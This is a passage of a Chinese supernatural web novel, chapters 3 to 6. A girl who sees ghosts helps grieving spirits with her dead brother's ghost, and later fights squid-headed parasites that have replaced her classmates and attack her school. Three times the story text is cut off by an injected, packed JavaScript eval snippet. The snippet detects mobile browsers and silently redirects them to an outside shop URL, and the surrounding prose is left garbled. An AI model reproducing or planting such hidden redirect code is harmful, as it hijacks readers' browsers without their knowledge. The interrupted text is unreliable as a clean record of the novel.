两人进楼道里了,桑蓝才收回视线,她一脸激动地捂住手机,紧紧抱着温茉的胳膊,“那可是大主播风刀啊!我居然有他的好友位了!” “直播的时候好高冷啊,没想到私下里这么亲和温柔。” “啊啊啊啊啊他给我朋友圈点赞了。” 温茉不玩游戏,对此不太在意,在她心里钱弓就是个咋咋呼呼还经常因为卖错货被妈打的逗比。 桑蓝还沉浸在喜悦中,低头点开钱弓朋友圈一条条品鉴,温茉看着蹲了一楼梯的鬼,心情有些复杂。 身体稀巴烂流脓的、一脸苍白穿着西装服的、缺了两条腿飘着的、老的少的,沉默的各据一方,乍一看还挺热闹。 其中不少还是温茉以前见过的,各种意外死掉的邻居们。 看见温茉,几只鬼凑到她面前,鬼魂穿透了桑蓝的身体,它们七嘴八舌开口。 “看得见我们吗?” “哈喽哈喽,听那小孩说你能看见他?” “小茉啊……” “帮帮我……” 温茉一时不知道怎么回应,于是装作没看见,视若无睹地拉着桑蓝回家。 一进门,饭香就窜进鼻尖,温玉成在浇花,听到动静立刻回头,他赶紧擦擦手上前招待。 “饭刚好没多久,来,小同学,快去洗手吃饭,尝尝叔叔的手艺好不好!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026706|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑蓝一秒切换到社恐状态。 饭桌上,温玉成不停地给两人夹菜,桑蓝不会拒绝,夹什么吃什么,偶尔应和一声,好在温玉成很温柔,让她的心理压力小了一些。 温玉成推了推金色眼镜,笑眯眯道:“小茉没有带同学回家过,她妈妈知道你要来可高兴了,电话里都嘱咐我要烧个四菜一汤。” 桑蓝有些不好意思:“谢谢叔叔,这些菜都很好吃,温茉真幸福,有做饭这么好吃的爸爸。” 温茉:“我妈做饭更好吃,下次请你来吃。” “是啊是啊。”温玉成点头:“你阿姨他们最近是忙得不着家了,下次我估计要烧八个菜了都哈哈哈。” 桑蓝有些紧张,“不用那么多,我胃口小。” “爸。”温茉放下筷子:“我们吃好了,先回屋了。” 温玉成:“哎好,碗筷都放着吧,我来收拾,你们快去玩吧。” 关上卧室门后,桑蓝微微吐了口气:“叔叔太热情了,我都要招架不住了。” 温茉打开电脑:“我爸还算正常的了,我妈见了你估计会搂怀里讲话。” 羊雅芝钢铁女汉子的身体下藏着一颗喜欢一切可爱事物的心。 所有人都以为家里布置得那么温馨可爱是出自温茉的手笔,其实不然,全是羊雅芝趁休息搞的,温茉卧室里一堆粉嫩玩偶都是她买的。 “你先玩着,我去找找温布惊。” 早上还见着它,现在又找不到鬼影了,温茉在家里转了一圈,除了从温玉成手里收获一整个果盘外一无所获。 桑蓝提议:“它说不定串门玩去了,你去外面找找呗,我就不去了。” 她会安全地待在房间里誓死捍卫自己的斜刘海。 温茉拎着两袋子垃圾出去,一打开房门,几只鬼就撞到她脸上,叽叽喳喳地吵闹着。 她在楼下扔完垃圾后,那几只死状凄惨的鬼还跟着,飘荡在她眼皮子底下,要不是她心理素质高,早就尖叫起来了。 她叹了口气,突然开口:“你们知道温布惊去哪里了吗?” 几只鬼瞬间激动起来,七嘴八舌的同时开口,温茉耳朵疼得不行,好一会才让它们安静下来。 “你哥哥去打架去了。” “对对,它是我们这片的鬼老大,最近出现好多鬼啊,有的坏得很,一直欺负别人,它今晚就是去揍那只鬼去了。” 温茉:…… 在家人不知道的日子里,温布惊居然这么能干吗。 温茉拜托它们:“你们能帮忙叫下它吗?我有点急事。” 穿西装的鬼摇了摇脑袋:“不行,太危险了,我们都不敢靠近。” 身体稀巴烂流脓的老鬼说:“我们太弱了,靠近会被大鬼吃掉的。” 双腿断了的小鬼生前是个十岁出头的小男孩,它说:“温布惊很强的,它吃过几十只鬼,你就放心吧。” 温茉:“鬼还能吃鬼啊。” 西装鬼:“人吃人,鬼吃鬼,很正常,但是相比通过工作卖命,鬼的方式很强悍粗鲁,我们一旦被吃掉就彻底没了。” 温茉世界观重刷中:“……” 没腿鬼幽幽道:“我们都是怨鬼,没报仇前不会消散的,可是没人能给我们主持公道,以前都是东躲西藏的,还好你哥哥鬼好,护着我们还让我们躲在你家里。” 几只鬼平日里都塞在自己家里……温茉想了下那个场景,脸微微有点绿。 “西装男,我好像对你有点印象,你是别的楼的吧?你怎么不回自己家。” “它没有遗照,回不去家里。”断腿小孩鬼抢先说:“我们都没有遗照,没办法硬闯生魂家中,会受伤害。” 稀巴烂老鬼说:“我们可以硬闯,但是会害鬼害己,彻底变成极凶的诡异,入不了轮回,我就想报仇就行,不想损阴德。” 温茉:“原来是这样。” 她站在路灯下揣着手,突然感到一阵刺骨的寒冷,于是朝风吹处看去,黑暗的绿化带中,幽幽站着一只鬼,它的双眸绿得吓人,面容看不清。 温茉有直觉,这是一只很强的鬼。 断腿小孩鬼连忙说:“别看它!!会被缠上的!” 温茉装作若无其事,拉了拉领口回去了。 三只鬼围在她身边,等到了楼道才都松了口气。 “它是两年前那个孕妇坠亡案的,很凶,已经是小诡了,被缠上就会不死不休。” “它简直想把整栋楼都弄死,因为有人看到她被公公和小姑子推下去却没做证,怨气让鬼都怕。” “我觉得它其实已经盯上你了,但是忌惮着温布惊所以没出手。” “啊。”温茉有些好奇:“我哥能打过它吗?” “它想吃鬼,温布惊不让吃这片的,打过好几次架,每次都是平手。” “但还好你们平时会上香供奉,温布惊恢复得快,它没人供奉,每次都要去别的区作乱,好久才能恢复。” 上香供奉会增强实力吗? 想到温布惊现在在外面酣战,温茉回家后拐进角落的房间,认认真真点燃几大柱香插上。 几只鬼得了她的允许,也跟着飘进去。 温茉很认真地考虑道:“要不把存货都点了吧。” 西装鬼愣了一下,伸手制止:“没用,它只能慢慢疗伤,不会一口喂成金刚战神的。” 温茉对此感到非常遗憾。 4. 第 4 章 温茉从这几只鬼口中得知了不少消息。 世上所有的鬼都是因为人死前有强大的怨念而产生的,不是所有死亡都会产生鬼魂。 怨鬼听起来很厉害,但是一般影响不到人,最多阴恻恻地跟着仇人搞点小动静,让他们神经衰弱。 但难就难在很多恶人心理素质极其强大,这点魔法攻击对他们根本造不成伤害。 一些鬼在漫长的报仇无果后只能释怀消散,一些则是十几年几十年都放不掉前尘往事,选择更激进的方式,吞噬同类增强力量,成为让诡异去报仇。 身体稀巴烂的流脓老鬼就是死了五十多年,它生前是一位光荣的退休工人,但晚年时,因为拆迁款问题,被亲生儿子和儿媳毒瘫痪,疼爱的女儿也被故意推下楼梯杀害。 老鬼卧床三年死在自己的排泄物里后,那畜生儿子带着大笔钱财逃往国外,逍遥法外。 在温布惊生前的房间里,在它的遗照前,老鬼哭了,跟鬼片里的泣血不同,它粗哑的干嚎着,眼眶里没有任何液体,但生疮的皱巴巴的脸上表情极其痛苦。 它伸出手,拉住温茉的手乞求:“孩子,你帮帮爷爷好不好,就当可怜可怜我。” 它结结巴巴道:“我女儿早就看开了,可我、我放不下,我怎么这么没出息,生前死后什么都干不了……” 小孩鬼也着急地说:“也帮帮我,姐姐,我妈妈你认识!就是顶楼的王丽雅!她身体不好,你经常帮她取快递来着。” 温茉:“好,但是你们要有证据。” 她转头看向角落里一直沉默的西装鬼:“你呢?你有什么冤屈吗?” 温茉猜测西装鬼是猝死的,因为它是所见过的鬼中唯一鬼体健全的。 半晌,西装男开口:“我倒是没什么,死后妻子孩子有了新去处挺好的,只是我生前的一部分财产在一张卡里,我父母经济拮据想使用但不知道密码。” 它吐了口气,恨恨道:“只是那银行要他们证明我们的亲子关系,太可笑了,直到现在我父母都过得很差劲。” “卡的密码是061388,当初随便设置的,谁知道会留下那么大的隐患。” “恳请你麻烦,告知我父母一下。” 温茉:“好。” 三鬼中老鬼的最难,小孩鬼其次,西装男最简单。 温茉回到卧室,将事情一一告知了桑蓝,没想到她完全不害怕,反而还一脸兴奋。 “这好像什么解密大侦探游戏欸,加我一个!” 温茉:“你不怕了?” 桑蓝右眼亮晶晶的:“怕,但是好有意思啊。再说了我就帮你打打下手,我又不亲自跟他们沟通。” “它们现在都在外面吗?”不会进屋吧!!? “放心,它们在我哥哥房间里。” “那就好。” 桑蓝干劲很足,游戏也不玩了,立刻用手机搜索西装鬼父母现在居住的乡下,然后通过村委会扶贫帖子找到二老的电话,将银行卡密码短信发过去。 温茉对这个干劲十足的小伙伴竖起大拇指。 温茉则是查到了老鬼儿子的信息,他生前在国外当大学教授,有漂亮的外国妻子和三个可爱的混血孩子,一生都过得很幸福。 桑蓝点了点屏幕:“他出国后不久就逼前妻离婚了,他们有个女儿开了家小饭馆,前妻倒是还活着,但是已经老年痴呆很久了,一直住在养老院里。” 温茉:“这前妻手里有证据的机率很大。” 桑蓝点了点下巴:“我也觉得,那女人年轻时候的照片看着就是个狠人,眼神很精明。” 两人就这三鬼的情况又讨论了一会儿,卧室里突然冷了下来。 温布惊回来了。 温茉看着它的鬼魂穿过门板而入,这次它自己的脑袋倒是带得好好的,手里却拿着一个别人的脑袋,当皮球一下一拍一拍的。 它添了很多伤口,身体有些地方已经消散,腿也少了一条,眼球瘪了一个,本来看着就很阴森,这下恐怖和恶心氛围直接拉满。 但温茉现在对温布惊有很深的滤镜,她觉得这穿着牛仔背带裤的小不点看起来格外高大。 她稀松平常地打招呼:“回来了啊。” 桑蓝警觉地抬头。 温布惊甜甜一笑,将那颗人头扔到角落里,然后攀上温茉的脖子,亲热得很。 “你刚才给我上香了是不是,妹妹,你好好。” “嗯。”温茉从抽屉里拿出那块镯子,将方丈的话复述一遍,随后说:“要不要进来看你自己,我倒是无所谓。” 温布惊纠结地皱起了小眉头,“我感觉进去后我会行动受限,但是既然你希望,我就进去。” 桑蓝还在旁边惊叫:“你鬼哥回来了?” 温茉戴上镯子,向她展示:“对,它在里面了。” 桑蓝哭丧着脸,咽了咽口水:“晚上它也睡屋里吗?” 温布惊从镯子里飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026707|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,不屑一顾:“我才不睡觉呢,我晚上很忙的。” 它摸了摸温茉的手臂:“我回来看看你。” 温茉对桑蓝说:“它就回来一会,很快就走。” 桑蓝又怕又好奇,钻进被子问:“你哥它这是打赢了?” 温茉:“对,很厉害。” “牛。”躲在被子里的小姑娘伸出一个大拇指后就不再吭声了。 温布惊一脸骄傲地挺起胸膛。 兄妹聊了会儿天,温布惊催促她:“快睡吧,晚上睡着了才安全。” 它一会还要巡逻小区,最近的新鬼也太多了,到处乱窜,打都打不完。 * 在进到镯子里后,温布惊居然可以在白天就出现了,但是活动范围非常受限,只能在温茉身边。 温茉又请了几天的假,专门调查老鬼和小孩鬼的事,根据它们的口供确实发现了一些蛛丝马迹,但没有实证,她俩总不能直接告诉警察。 普通人没有阴阳眼,是不会相信她们的话。 第二天,桑蓝兴冲冲私聊温茉,发了一条链接。 “这里面都是些自发形成的民间案件推凶匿名爱好者,我找人查了下,账号隐私性很高,平台也很安全,我们可以在里面有意无意地爆料啊。” 她们将二鬼的事迹和一些证据推测发到论坛里,果然引来了一些爱好者分析。 温茉又趁羊雅芝下班回来有意无意地提起这个论坛,她看过后非常感兴趣,直接要走了论坛链接。 后面的温茉就不管了,也让桑蓝不要再更新了,免得遭受怀疑。 温茉只能做这么多了,二鬼也表示理解,没有强求她,反正那么多年都等了。 在父母拿到钱后,西装鬼就消失了,温布惊还有些闷闷不乐。 温茉摸了摸它的脑袋:“以后还会有新伙伴的。” 它瘪了瘪嘴:“不是,本来它答应再过一年就让我吃了,现在直接消失了。” 温茉沉默片刻,看着温布惊心里沉甸甸的。 温布惊吃过那么多鬼,已经是个小诡异了,但好在它看起来还很正常。 温茉想让他别吃鬼了,但不吃鬼,它没办法增强实力。 不吃可能会被别的诡异欺负,吃了又有损阴德。 ——事情似乎陷入了无解。 但她没有烦恼很久,因为很快,她就找到了正确饲养温布惊的方式。 这都要感谢她那群“同学。” 5. 第 5 章 永夕一高非常严格,即使温茉是经常霸榜第一的学霸,在无故请假一星期后也得去乖乖上学。 早上八点,温玉成把温茉送到学校,温茉走在校园里,敏锐地感到有一丝不对劲。 高中生毕竟是生性活泼的年纪,打打闹闹是常有的事,但今天校园里的学生大多都看起来情绪不佳。 往常见到的勾肩搭背的小团体,都散开了来,三三两两的,甚至看到其他同学,都逃一般地飞奔走了。 温茉追上其中一个男生,拍了拍他的肩膀,他反应很大,整个人哆嗦了一下,回头看见是她,才松了口气。 往日高高大大,飞扬跋扈的赵雷一脸疑神疑鬼,夸张地拍了拍胸口:“吓死我了,还以为又是哪些家伙。” 两人并排上电梯,温茉抬头望着他长出了些胡茬的下巴,“你压力很大吗,形象都不管理了,你是在怕什么吗?” 电梯里只有他们二人,赵雷看着镜子搓了搓脸,眼里是藏不住的烦躁。 “我感觉我身边全是神经病。” “我女朋友就算了,那些小跟班总想来摸我,爷虽然知道自己身材很好,鼻子能当滑滑梯,但是趁我睡着来上下其手也太恶心了。” 温茉被逗笑了:“雷爷魅力日渐增强啊。” “什么玩意。”赵雷吐槽:“一群人带着欲望地盯着我,我真的感觉自己像盘菜,你知道吗,太可怕了,男的太可怕了,女的也可怕,草。” “我女朋友想搞什么捆绑play,这哪行,我的童真是要留给未来老婆的,我当场就翻脸了,你是不知道当时她眼神多垂涎欲滴,还想让人按住我,草他老子,老子连滚带爬从ktv跑了。” “他们还跟到我家了,要不是安保强拦住了,我感觉我要在家被强办了。” 他骂了两句:“死老班不给我批假,我一见到他们就觉得恶心。” 温茉:“哇偶,你的生活过得还是挺多姿多彩的。” 她顿了顿,刚想开口安慰,一进校门就撒欢跑开的温布惊飘回来了。 他高高兴兴地拉住温茉的手,打了个饱嗝。 温茉低头问:“你吃什么了?” “啊?”赵雷伸手掏兜:“韭菜鸡蛋包子,还有一个你要吗?” 温茉:“没问你。” 赵雷撕开狠狠咬了一口:“莫名其妙。” 温布惊舔了舔嘴唇:“我在一个屋子发现了很好吃的糖丸,甜甜的,我就都吃完了。” 他从背带裤的肚子口袋里掏出一粒,“呐,妹妹你看。” 躺在他手心里的银白色小圆球很小很小,就跟葡萄籽差不多大,温茉接过,这东西很凉,比温布惊的鬼手还阴寒。 电梯到了,他们走出去,赵雷黑着脸摆了摆手,“走了,草!” 赵雷教室在电梯口,他一路骂着进去,温茉透过玻璃窗,看见他将书包甩到桌子上,趴在桌子上刷手机。 温茉对着光查看那粒小糖豆,惊讶地发现,糖豆就像个缩小鸡蛋,透过薄薄一层外膜,能看到液体里面正在跳动的……胚胎? 她皱眉,用厚厚几层纸巾将东西包住,放到地上碾压,打开来看,纸巾已经被浸湿,蜷缩着的,比蚂蚁大不了多少的黑色肉虫张着嘴,露出满嘴锋利的利齿。 温布惊下一秒抢过,扔进嘴里嚼嚼嚼。 它解释道:“它要叫了。” 温茉一脸嫌弃地扔掉纸巾,心中充满疑惑:“这到底是什么。” 像是某种动物的胚胎。 温布惊又从背带裤口袋里掏出一把,嚼嚼嚼。 “不知道。”它含糊道:“好好吃。” 温茉有些无奈,压低声音道:“还不知道这是什么,吃坏肚子怎么办。” 温布惊摇摇头,一口气将东西全吃完。 温茉进了教室,同学已经来得差不多了,都整齐地坐在位置上,温布惊突然说:“怎么都是这些虫子人。” “妹妹你为什么要跟虫子人一起学习。” 温茉:?她眼中的同学们都很正常。 她在自己位置上坐下,几天没来,桌子上已经堆满了试卷,温布惊爬上她的后背,冰冷的气息蔓延开来。 温布惊说:“妹妹,让我附身。” 温茉没有任何抵触,她感到身体变得异常冰冷沉重,全身关节都僵硬起来,心跳和呼吸仿佛停滞般。 视野一片绯红,温布惊控制着她抬头环视四周,温茉看到,在鬼眼下,几乎所有的同学都变了个样子。 它们已经不能称之为人了,人体上长着的是光溜溜软趴趴似鱿鱼脑袋般的头颅,篮球般大,青灰色,上面布满了黑色葡萄般大眼睛。 “班长”的头颅最大,颜色也不一样,是紫色的,袖管里两条紫色吸盘触须搭在桌子上,吸盘蠕动着,从中钻出细长的丝线。 那不是丝线,是虫子,白白的,像花园鳗齐刷刷插在海底一般伸缩。 “班长”正遥遥望向她,几十双无神的眼眸眨啊眨。 “温茉”冷漠地开口:“再看把你眼睛挖下来。” “你怎么了?”“班长”起身,语气关切道:“月经期到了吗?怎么脾气这么暴躁。” “滚蛋。” 身体由温布惊掌控,也许是受到了影响,温茉的情绪平得吓人,并没有任何恶心和恐慌。 听到这玩意关心起自己的生理期,她甚至有点想笑。 下一秒,温茉感到身体涌起一阵暖意,温布惊解除了附身,她重获了身体掌控权。 眼前的一切又恢复了原状,教室窗明几净,窗帘飘扬,同学和蔼可亲。 “妹妹,我不能控制你太久,不然你会受伤。”温布惊趴在她背上解释道。 温茉笑弯了眼。 一屋子东西有意无意地投来目光,温茉轻咳两声,“不好意思,昨晚没睡好。” 毕竟温布惊晚上老出去打架,温布惊做梦都是温布惊出去打输了,捧着哭哭啼啼的头回家的场景。 见她打了两个哈欠,“班长”递给她一杯咖啡:“正好!还没开封,我这杯你喝吧!” 他拆开吸管纸,把吸管殷勤的插好放到塞进她手里。 温茉垂眸,看到黑色咖啡液上漂浮密密麻麻的冰块,仔细看,冰块里都镶嵌着刚才温布惊吃的“糖丸”。 那银白色跟冰块颜色接近,不仔细看,还真发现不了。 不难想,咖啡里肯定也加了料,而那圆球那么小,稍不注意就会被喝下去。 温茉:“谢谢班长,我稍后喝吧。” “班长”眼里闪烁着兴奋的光,催促道:“你先尝两口嘛,一会口感就不好了。” 其余同学一齐催促着。 “据说是新品耶,快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026708|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝尝告诉我们味道,一会快上课了呀。” “茉茉,班长好照顾你呀。” “快喝呀快喝呀。” 温茉:“咖啡不都一个味道。” “我也买了,口味很醇,没那么涩,真的很不错啊!” “是啊是啊,这咖啡真好喝啊。” 前后桌夸张地赞美着。 温茉:…… 你们一群非人生物还当上美食点评家了。 温布惊舔了舔唇,再次附身,同学们就见刚还一脸抵触的温茉直接掀开杯盖,仰头三两口把咖啡全喝光了。 甚至连冰块都没放过,嘎嘣嘎嘣地嚼完了。 教室里顿时爆发一阵叫好。 透过鬼眼,在血红的世界里,温茉看到同学们狂欢了起来,前后桌头颅中探出湿漉漉蠕动的白色触须在空中挥舞。 体育委员的异形头颅被顶起,校服衣领里只有一截灰白色触手,头颅在空中摇摆着,几十双黑眼珠滴溜溜乱转。 更多的同学的异性头颅像花开般绽放开来,每片花瓣上都有密密麻麻的牙齿,凭空咬合着。 它们的身体有的还是人身,但有的已经逐渐触手化,手脚都是触手,“班长”是其中最与众不同的。 如果将这群怪物比喻成蚂蚁,那它就是蚁后,它的花瓣上不是牙齿,而是长满了脓包,每一颗脓包,就是一个“糖丸。” 温布惊吃的是人家的卵。 附身结束,危机解除,温茉的世界又恢复正常,同学们都对她笑着,好像她刚干了什么不得了的大事一样。 温茉心想,原来是想用卵让她被同化。 吃到好吃的,温布惊高兴地把脑袋摘下来抛。 “好吃!好吃!好吃!好吃!” 温茉展示空掉的杯子:“还真不错,等下课可以再来一杯。” 上课铃响了,“班长”还舍不得走,它笑眯眯地看着温茉,嘴角越扯越大,牙龈全都裸露了出来。 “温茉,见过的那么多人里,你是最优秀的,我最喜欢你了。” 其实班级的氛围已经有些诡异了,剩余的一些正常同学瑟瑟发抖地蜷缩着,眼里都带着惊恐。 温茉知道,他们都是一些身体比较弱或者有隐秘大病的人,因此才被这群怪物放过吗? 眼神不经意间掠过仅余的几个幸运儿,温茉擦了擦嘴角,“班长,我也挺喜欢你的。” “我家人应该也会很喜欢你,下课了去我家吃饭吗?” 幸运儿们战战兢兢地看着她,眼神都带着不赞同:她疯了吗,班长最近跟个伪人似的,她还跟他玩。 上课铃响了三分钟后,教导主任才姗姗来迟,他肚腩上挂着小蜜蜂,擦了擦额头的汗后宣布上课。 “呼,刚遇上了一起车祸,还好赶上了!嗯?你们都围着温茉做什么?班长,回去座位上课!” 教导主任教数学,在他的课上温茉一般都很松弛,她光明正大地低头玩着手机。 主要是一串串接连不断的消息音还挺扰乱课堂秩序的,虽然主任是在给一群伪人上课…… 温茉加的人不多,基本都是些交情还可以的朋友。 真是奇怪了,桑蓝、钱弓和赵雷都同时对她进行着消息轰炸。 桑蓝关心着学校的同学,钱弓说晚上找她聚聚,赵雷则是痛哭流涕充满无助地求救。 6. 第 6 章 赵雷:这群烦人精又来骚扰爷了。 赵雷:他们动手动脚的,我现在跑出去了,你们学生会快去把他们抓了! 赵雷:不对!!!这群人疯了!快逃!! 隔了十几分钟,他发来了最后一条语音消息:会长,我的腿断了,好疼啊,电话都占线怎么办…… 不好,赵雷估计是被伪人盯上了,他身强力壮的,成为目标太正常了。 温茉在教导主任不解的目光中跑出教室,她在厕所给羊雅芝打电话,刚接通,语气焦急道: “妈!救命!我们学校发生了暴力流血事件!” 羊雅芝声音比她还焦急,“宝宝,找一个安全的地方躲起来!快!!从刚刚开始,到处都在杀人!” 温茉第一次感到慌乱,捏着手机的手指绷得发白,电话那头乱糟糟的,混乱的嘈杂快要淹没羊雅芝的声音。 “躲好……妈……找你……” 温茉听到突兀的两声枪响,随后电话被挂断。 发生了什么!?为什么会有枪响?常人根本无法识别怪物伪人,会不会羊雅芝的身边人早就被换掉了? 温茉的心都揪起来了,她苍白着脸,快速给所有朋友发去警告短信。 联系不上温玉成…… 温茉呼吸急促,浑身颤抖着,一家三口中她最担心的就是文弱书生的爸爸,他身体不好,健身很少,生存的几率太小了。 温布惊抱住她的双腿,像小猫般轻蹭着她,“妹妹,别怕,我能跟它们打架,保护你。” 温茉蹲下:“哥,快去帮爸爸,我自己可以!” “我不能离开你太远。”温布惊摇了摇头。 手机疯狂地响着,温茉赶紧点开,一眼看到了段双双的消息,他发来了几条短信,夹杂着两条语音。 段双双:感谢提醒,顾好自己,老师在我身边,你家集合。 温茉紧绷的神情放松了不少,她站起来,这才听到外面连绵不绝的惨叫。 温布惊指了指外面:“你进来没多久就开始了。” 从厕所跑出去,走廊上尽是些慌乱奔跑的人,温茉被吓了一跳,这次不借用鬼眼,她都能清楚地看到那些伪人血性大发,用触手,用尖牙殴打撕咬着正常人。 “救命!” “啊啊啊啊啊!!!” 温暖的阳光喷洒在身上,温茉却犹如掉进了冰窟,她僵硬地看着眼前残忍的场景,走廊的地板上到处都是鲜血和尸体,一个伪人大叫着,不顾男生的痛哭流涕,将他从楼上扔下。 那只伪人扭头,跟温茉对视,它歪了歪脑袋,却放过了她,一个箭步冲向电梯口,触手狠狠砸开电梯门,从井中一跃而下。 温茉很快反应过来,她跑进了人去楼空的教室,从自己的柜子中取出棒球棍。 她咬牙切齿道:“这群该死的混蛋。” 温布惊按下她的手:“你打不过它们的,让我去吧。” 伪人看不见温布惊,但刚温布惊试了下,能触碰到伪人。 温茉顺着血迹斑斑的楼梯往下,她看到许多死状凄惨的尸体,有她看起来面熟的同学,也有少许几只伪人的。 伪人尸体似人般长,整体像鱿鱼一般,但每根触手都长着锋利的尖刺,它们死去后,尸体大面积地脱水,变成糜烂的“尸干”。 尸体渗出的液体非常刺鼻,温茉只闻了几下,就感觉头晕目眩,世界仿佛地震般剧烈摇晃,看到的画面也像吃了毒菌子般五颜六色地扭曲着。 温布惊搀扶着她往下走了两层,呼吸到新鲜空气,中幻觉的感觉这才消失,但身体仍然遗留着一些副作用,她走路摇摇晃晃,落脚没有踩实感。 楼道间安安静静,只有鲜血顺着台阶往下流淌的滴答声,到了二楼,角落里响起一声虚弱的呻吟。 “救……救……” 温茉跪在湿漉漉的血水中,将那名幸存者从尸堆中挖出来,那名干瘦,皮肤有些黑的女孩满脸痛苦,大张着嘴低低地啜泣着。 温茉看到她的牙齿断了几个,手脚都不正常地扭曲着,脖颈碎肉翻飞,温茉都能想象到,一根满是尖牙利齿的触手缠绕着她的脖子,在折断手脚后将人扔出去的画面。 温茉眼中闪过不忍,帮她把厚厚的眼镜扶正戴好,女孩看清了她,呜咽着:“会长,我好疼呜呜……” 温茉将校服脱下来,盖在她的身上,摸了摸她的脸安慰:“你不会有事的,你没有什么致命伤,我会把你送到医院的。” 女孩呕出两口血,含糊不清咳了两声,她的眼中充满惊恐和绝望,“我们都会死的。” “不会的!”温茉:“我已经报警了,我妈妈是警察局长,她有枪,她会来救我们的!” 女孩紧紧盯着她,眼中满是脆弱和求助,温茉眼中闪着泪光,说:“你不要说话了,保存体力。” 温茉小心翼翼地,将她从冰凉地板上公主抱起来,过程中碰疼了女孩的伤口,她却一声不吭,呼吸急促却不敢发出一点声音。 操场上,校园里满是游荡逃窜的人和穷追不舍的怪物。 温茉没办法大摇大摆带着伤员走出校园,何况外面也一样乱,她只有藏身一个安全的地方等待火力救援。 最先察觉危险的赵雷躲藏在快递站工作人员的休息间里——学校有许多住校生,因此学校专门在大门附近开设了一个快递站点。 赵雷在遭到攻击的时候就试图逃离,但因为受伤不得不藏身于那里,温茉决定先赶过去。 她记得休息间有张床,医务室最新采购的药品也还在快递站,祈祷有些懒惰的校医还没有取走。 从高二教学楼到门口有大概一千多米的直线距离,中间穿插着高一教学楼和小升旗广场。 高二楼已经空了,温布惊飘荡了一圈赶回来,“很危险,外面好多怪物,学生们在顽强抵抗,我看到了很多新生的懵懂鬼魂。” 温茉:“哥,你去吧,它们应该是以为我吃了卵被同化,暂时不会伤害我的。” “只有你把它们都解决了,我才安全。” “你自己小心。”温布惊飞在半空中,不舍得摸了摸她的脸,道别后,他径直飞向最开始发现“糖丸”的地方。 操场器材室。 穿着校服的“班长”躺在垫子上,一脸安详的产着卵,一颗颗卵像熟透的豆子般从坑中滑落,黏叽叽的堆在怪物身边。 “班长”有些高兴,就在刚才,它彻底同化了来地球这么久以来最满意的寄生体。 那个女孩,那个寄生体,是它见过的最完美的身体,只要无知无觉,在没有原意识抵触的情况下寄生了她,它的孩子就会彻底掌控那个躯体,完美地将基因与人类结合。 它的孩子不会有任何变异,不会露出任何马脚,就算是用地球上最先进的东西检查,也只会觉得它是一个正常的人类。 “班长”又有些烦恼,它们一族虽然寄生取代了原来的人类身份,但却会不受控制地变成原本的模样体征。 虽然释放出致幻气体可以迷幻正常人,但人类太聪明了,身体也能产生抗体,估计过不了多久,致幻手段就会失效。 “班长”拥有原主完整的记忆,它知道人类的热武器有多可怕,但他早就找好了退路。 在这第一次试探性的袭击后,孩子们就会簇拥着它逃进深海。 “哼。” 它的几十颗眼珠子高兴得滴溜溜转,触手卷起一具尸体塞进嘴里。 要快点多生些,算算时间,那个最完美的孩子已经诞生了吧,等它闻着信息素过来,作为母亲,它一定要好好地嘉奖它。 “班长”满心甜蜜,学着人类一样给最期待的孩子起名,叫它什么好呢,入乡随俗,叫它虎一好了,老虎是万兽之王,人类也屈服于它的淫威。 这些卵都是给虎一的养料,等它强大以后,进攻其余地区的贱种们别想再压到它头上。 “叽咕叽咕!”突然,门被撞开,一个触手上粘着四分五裂的校服碎片的怪物挤了进来,它急切地嚎叫着。 “什么!!” “班长”大怒,停止了产卵,它的头颅像花闭合般收起,几十双眼珠子怒瞪着,甚至有几个爆裂掉了下去,留下蠕动的深坑。 它一触手将那只小怪物甩到墙上。 “你是说,校长室的卵都被人弄坏了!?” * 温布惊打架前,先去了一趟校长室。 紧闭的校长室里,地板上满是怪物的卵,有些是银白色的,有些是紫色的,黏叽叽湿漉漉的堆在透明的黏液里,像温布惊记忆中小时候玩过的水宝宝一样。 温布惊取下脑袋放在凳子上,然后无头身体蹲下,用小手揽起卵喂给嘴巴。 它吃了好一会,感觉到身体充满了力量。它很开心,这玩意真是个好东西,比吃鬼增长的力量还多。 它已经能吐出鬼火了。 心系着妹妹,温布惊没有贪得无厌,吐出一口鬼火将剩余的卵都烧光。 卵泡里的小怪物感觉到了危险,齐齐嘶叫着,游荡在附近的一只怪物飞速赶来,却只看到满地灰烬。 实力大涨的小诡异飞到了高一教学楼,对怪物发起了袭击。 它先是将攻击着教室门的怪物一拳放倒,暴力地扯下它的触须,随后一口火喷出,怪物哀嚎着在地上打滚,但鬼火不灭,一点点啃食殆尽它的躯体,连尸干也没有留下。 教室里,老师和学生们怀揣着恐惧,奋力推着堆满门的窗的桌椅柜子,却惊讶地发现外面的怪物嘶叫了起来。 那声 